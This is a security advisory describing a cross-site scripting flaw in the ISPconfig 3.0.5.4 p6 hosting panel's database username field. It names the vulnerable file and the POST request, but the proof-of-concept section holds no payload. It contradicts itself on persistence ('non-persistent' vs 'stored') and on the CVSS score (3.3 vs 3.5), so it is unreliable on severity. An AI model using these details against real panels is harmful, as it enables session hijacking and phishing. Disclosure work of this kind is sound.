Product: ISPconfig - Hosting Service Panel (Web-Application) 3.0.5.4 p6


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A cross site scripting vulnerability has been uncovered in the official 
ISPconfig v3.0.5.4 p6 hosting panel web-application.
The vulnerability allows remote attackers to inject own malicious script codes 
to the application-side of the vulnerable module.

The cross site vulnerability is located in the `database username` input field 
of the database user module. The form of the add 
POST method request is not secure parsed by the basic validation. Thus allows 
to trigger a xss issue in the the edit form of the 
special crafted database username. The second execution point is located the 
exception-handling of the invalid input context.
The exception-handling replies with the input of the invalid database username 
after an add was processed. The request method 
to inject is POST and the attack vector of the issue remains to the 
application-side of the service. The error exception issue 
is located to the client-side of the service and does not occur permanently. 
Due to the non protected session credentials an 
attacker is easily able to perform a malicious request by usage of a prepared 
web-link or web-page.

The security risk of the xss vulnerability is estimated as medium with a cvss 
(common vulnerability scoring system) count of 3.3. 
Exploitation of the client-side vulnerability requires no privileged 
web-application user account and only low user interaction. 
Successful exploitation of the vulnerability results in non-persistent phishing 
attacks, session hijacking, non-persistent 
external redirect to malicious sources and non-persistent manipulation of 
affected or connected web module context.

Request Method(s):
                        [+] POST

Vulnerable Module(s):
                        [+] ./sites/

Vulnerable File(s):
                        [+] database_user_edit.php

Vulnerable Parameter(s):
                        [+] Edit Formular
                        [+] Invalid Exception-Handling


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers without privileged user 
account and with low user interaction.
For security demonstration or to reproduce the vulnerability follow the 
provided information and steps below to continue.

Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse of the database username 
input field. Filter the input by disallowing 
the usage of special chars. Parse the exception-handlung and edit form output 
locations were the input executes permanently.


Security Risk:
==============
The security risk of the stored xss and client-side exception issue are 
estimated as medium. (CVSS 3.5)
